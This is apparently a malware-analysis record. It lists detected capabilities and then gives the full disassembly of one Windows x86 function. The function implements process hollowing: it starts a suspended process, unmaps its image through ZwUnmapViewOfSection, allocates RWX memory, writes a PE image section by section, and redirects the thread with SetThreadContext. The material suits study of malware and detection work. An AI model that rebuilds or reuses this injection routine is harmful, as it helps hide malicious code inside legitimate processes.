Function at 0x4018ad
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Parse pe header

Disassembly:
push 0xffffffffffffffff
push 0x41025d
mov eax, dword fs:[0]
push eax
sub esp, 0x8e8
mov eax, dword [0x4180a0]
xor eax, esp
mov dword [esp + 0x8e4], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4180a0]
xor eax, esp
push eax
lea eax, [esp + 0x8fc]
mov dword fs:[0], eax
mov dword [esp + 0x24], edx
mov edi, dword [0x41a230]
push 0x400
lea eax, [esp + 0xfc]
push eax
push 0
mov dword [esp + 0x34], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, 0x5a4d
cmp word [edi], ax
je 0x40191c
xor al, al
jmp 0x401c8d
mov ebx, dword [edi + 0x3c]
add ebx, edi
mov dword [0x41a234], 0x416538
cmp dword [ebx], 0x4550
jne 0x401915
push 0x44
xor ebp, ebp
lea eax, [esp + 0xb8]
push ebp
push eax
mov dword [0x41a234], 0x41654c
call fcn.004058c0
push 0x10
push ebp
push 0x41a244
call fcn.004058c0
add esp, 0x18
lea ecx, [esp + 0x14]
push 0x418e64
mov dword [esp + 0x18], ebp
call fcn.00402452
mov dword [esp + 0x904], ebp
mov ebp, 0x416560
push ebp
call fcn.0040583d
pop ecx
mov ecx, dword [esp + 0x14]
mov esi, ebp
sub esi, ecx
mov ecx, dword [ecx - 0xc]
mov dword [esp + 0x18], ecx
xor ecx, ecx
sar esi, 1
test eax, eax
setns cl
test ecx, ecx
jne 0x4019aa
push 0x80070057
call fcn.004015bd
push eax
push ebp
call fcn.00405769
pop ecx
pop ecx
mov ecx, 0x7fffffff
sub ecx, eax
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x18]
xor edx, edx
cmp ecx, eax
setge dl
test edx, edx
je 0x4019a0
add eax, dword [esp + 0x1c]
lea ecx, [esp + 0x14]
push eax
mov dword [esp + 0x24], eax
call fcn.004022e5
mov edx, eax
mov eax, dword [esp + 0x18]
cmp esi, eax
ja 0x4019ec
lea ebp, [edx + esi*2]
mov ecx, dword [esp + 0x1c]
add ecx, ecx
push ecx
push ebp
push ecx
lea eax, [edx + eax*2]
push eax
call fcn.004059fa
add esp, 0x10
lea ecx, [esp + 0x14]
push dword [esp + 0x20]
call fcn.0040256e
mov ebp, dword [esp + 0x24]
test ebp, ebp
jne 0x401a1a
xor eax, eax
jmp 0x401a21
push ebp
call fcn.0040583d
pop ecx
push eax
push ebp
lea ecx, [esp + 0x1c]
call fcn.00402478
mov esi, dword [esp + 0x14]
xor eax, eax
inc eax
mov dword [esp + 0x20], eax
cmp dword [esi - 4], eax
jle 0x401a4c
push dword [esi - 0xc]
lea ecx, [esp + 0x18]
call fcn.0040250c
mov esi, dword [esp + 0x14]
push 3
lea eax, [esp + 0x34]
push esi
lea ecx, [esp + 0x34]
mov dword [esp + 0x34], eax
call fcn.00402596
push 0x41a244
lea eax, [esp + 0xb8]
push eax
xor eax, eax
push eax
push eax
push 4
push eax
push eax
push eax
mov byte [esp + 0x924], 1
push dword [esp + 0x4c]
call fcn.004059aa
pop ecx
push eax
lea eax, [esp + 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ebp, eax
lea eax, [esp + 0x30]
mov byte [esp + 0x904], 0
cmp dword [esp + 0x2c], eax
je 0x401ab5
push dword [esp + 0x2c]
call fcn.00405661
pop ecx
test ebp, ebp
je 0x401c7c
push 4
push 0x1000
push 4
push 0
mov dword [0x41a234], 0x416564
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebp, eax
push ebp
mov dword [ebp], 0x10007
push dword [0x41a248]
mov dword [esp + 0x2c], ebp
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x401c7c
push 0
push 4
lea eax, [esp + 0xb8]
push eax
mov eax, dword [ebp + 0xa4]
add eax, 8
push eax
push dword [0x41a244]
mov dword [0x41a234], 0x416578
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [esp + 0xb0]
lea ecx, [ebx + 0x34]
mov dword [0x41a234], 0x41658c
cmp eax, dword [ecx]
jne 0x401b6c
mov edi, dword [0x41a244]
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.ZwUnmapViewOfSection
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [esp + 0xb0]
push edi
call eax
mov edi, dword [esp + 0x28]
lea ecx, [ebx + 0x34]
push 0x40
push 0x3000
push dword [ebx + 0x50]
mov dword [0x41a234], 0x4165cc
push dword [ecx]
push dword [0x41a244]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [esp + 0x18], eax
test eax, eax
je 0x401c7c
push 0
push dword [ebx + 0x54]
push edi
push eax
push dword [0x41a244]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
and dword [esp + 0x1c], 0
xor eax, eax
cmp ax, word [ebx + 6]
jae 0x401c0a
mov esi, dword [esp + 0x18]
xor ebp, ebp
mov ecx, dword [edi + 0x3c]
add ecx, ebp
push 0
push dword [ecx + edi + 0x108]
mov eax, dword [ecx + edi + 0x10c]
add eax, edi
push eax
mov eax, dword [ecx + edi + 0x104]
add eax, esi
push eax
push dword [0x41a244]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [esp + 0x1c]
movzx eax, word [ebx + 6]
inc ecx
add ebp, 0x28
mov dword [esp + 0x1c], ecx
cmp ecx, eax
jl 0x401bc0
mov esi, dword [esp + 0x14]
mov ebp, dword [esp + 0x24]
push 0
push 4
lea eax, [ebx + 0x34]
push eax
mov eax, dword [ebp + 0xa4]
add eax, 8
push eax
push dword [0x41a244]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebx + 0x28]
add eax, dword [esp + 0x18]
push str.Kernel32.dll
mov dword [0x41a234], 0x4165dc
mov dword [ebp + 0xb0], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, eax
test edi, edi
je 0x401c70
push str.SetThreadContext
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401c69
push ebp
push dword [0x41a248]
call eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [0x41a234], str._tva_a_lanzar
jmp 0x401c81
mov byte [esp + 0x20], 0
lea ecx, [esi - 0x10]
call fcn.00401682
mov al, byte [esp + 0x20]
mov ecx, dword [esp + 0x8fc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x8e4]
xor ecx, esp
call fcn.00402da8
add esp, 0x8f4
ret